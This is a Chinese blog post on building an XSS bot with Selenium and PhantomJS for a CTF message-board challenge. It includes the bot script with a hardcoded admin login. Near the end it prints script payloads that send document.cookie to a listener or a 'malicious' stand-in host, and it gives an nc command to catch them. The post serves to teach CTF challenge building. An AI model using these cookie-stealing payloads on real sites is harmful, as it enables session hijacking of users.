• 如何写一个Xss Bot


    如何写一个Xss Bot

    现在的ctf比赛里
    xss的出题方式比较特殊,一般使用xss bot,所以借鉴大佬经验尝试弄一个xss题目。

    xss bot

    就是代替管理员去完成点击页面的任务,bot需要能够执行js,事情的本质是我们需要一个浏览器内核来解析js

    xss bot一般会用selenium+webdriver
    webdriver一般有3种

    chrome webdriver、firefox webdriver、phantomjs

    selenium

    selenium是用来控制webdriver的接口的

    chrome和firefox的webdriver都有一个特点,就是需要桌面,我们搭建题目在docker环境中会有问题,
    phantomjs和别的浏览器本质上没什么区别,差不多也是类似于浏览器的内核,优势其实是多平台支持,而且不需要浏览器支持(但是PhantomJS官方宣布暂停开发,python做爬虫的话,不要再用PhantomJS
    这里我们为了方便暂时使用phantomjs。

    Selenium+PhantomJS安装

    最新版selenium已经放弃PhantomJS了,selenium版本降级安装

    pip install selenium==2.48.0
    

    Download PhantomJS

    ubuntu下可以直接

    apt install PhantomJS
    

    下载设置好环境变量即可使用。
    以留言板xss为例做一个xss bot

    网站留言处存在xss,bot实现功能模拟管理员登录后访问留言页面。

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    # Auther: xf@hackxf.cn
    
    #导入webdriver API对象,可以调用游览器和操作界面
    from selenium import webdriver
    import time
    #要想调用键盘按键,鼠标操作需要引入keys包
    from selenium.webdriver.common.keys import Keys
    #创建PhantomJS浏览器对象
    driver = webdriver.PhantomJS()
    #加载网站页面
    driver.get("http://192.168.228.36/admin/login.php")
    #找到页面input输入标签并填充文本内容admin
    driver.find_element_by_name('user').send_keys("admin")
    driver.find_element_by_name('password').send_keys("ying20181818")  #输入帐号密码登录网站
    #By Class Name 找到class=button的按钮并模拟点击
    data = driver.find_element_by_class_name('button').click()
    time.sleep(1)
    # driver.save_screenshot("sss.png") #截屏
    for cookie in driver.get_cookies():  #打印当前cookie
        print("%s -> %s"%(cookie['name'], cookie['value']))
    #管理员登录状态访问存在xss的页面
    driver.get("http://192.168.228.36/post.php?id=1")
    # driver.save_screenshot("sss1.png") #截屏
    for cookie in driver.get_cookies():
        print("%s -> %s"%(cookie['name'], cookie['value']))
    # print data
    # print driver.title
    #退出驱动关闭所有窗口
    driver.quit()
    

    参考资料

    Selenium+PhantomJS使用时报错原因及解决方案

    Selenium与PhantomJS使用手册

    留言板xss bot靶场

    登录或者设置cookie

    实现xss bot一分钟运行一次的sh脚本

    while sleep 1; do phantomjs --ignore-ssl-errors=true --local-to-remote-url-access=true --web-security=false --ssl-protocol=any xss-bot.js; done;
    

    x入payload

    <script>
    new Image().src="http://127.0.0.1:1234/"+(document.cookie);
    </script>
    
    <script>document.write('<img src="http://malicious/?'+document.cookie+'  "/>');</script>
    

    vps监听端口

    nc -lvp 1234
    

    一旦我们的PhantomJS XSS bot访问易受攻击的URL并执行有效负载,我们将收到对侦听器的回调

  • 相关阅读:
    【学习总结】iOS 的机制
    【刷题】面筋-游戏测试-对二次元游戏的认识
    【JAVA】Mac下查看已安装的jdk版本及其安装目录
    【JAVA】MacBook安装Java环境及eclipse
    【学习总结】哈希表:哈希函数构造;哈希表解决地址冲突的方法
    【刷题】面筋-JAVA-hashmap和hashtable
    【刷题】面筋-测开-软件测试的生命周期
    【学习总结】jupyter notebook中以Markdown格式显示文字信息
    【学习总结】n & (n-1)
    【学习总结】IOS系统和Android系统的区别
  • 原文地址:https://www.cnblogs.com/hackxf/p/10429408.html
Copyright © 2020-2023  润新知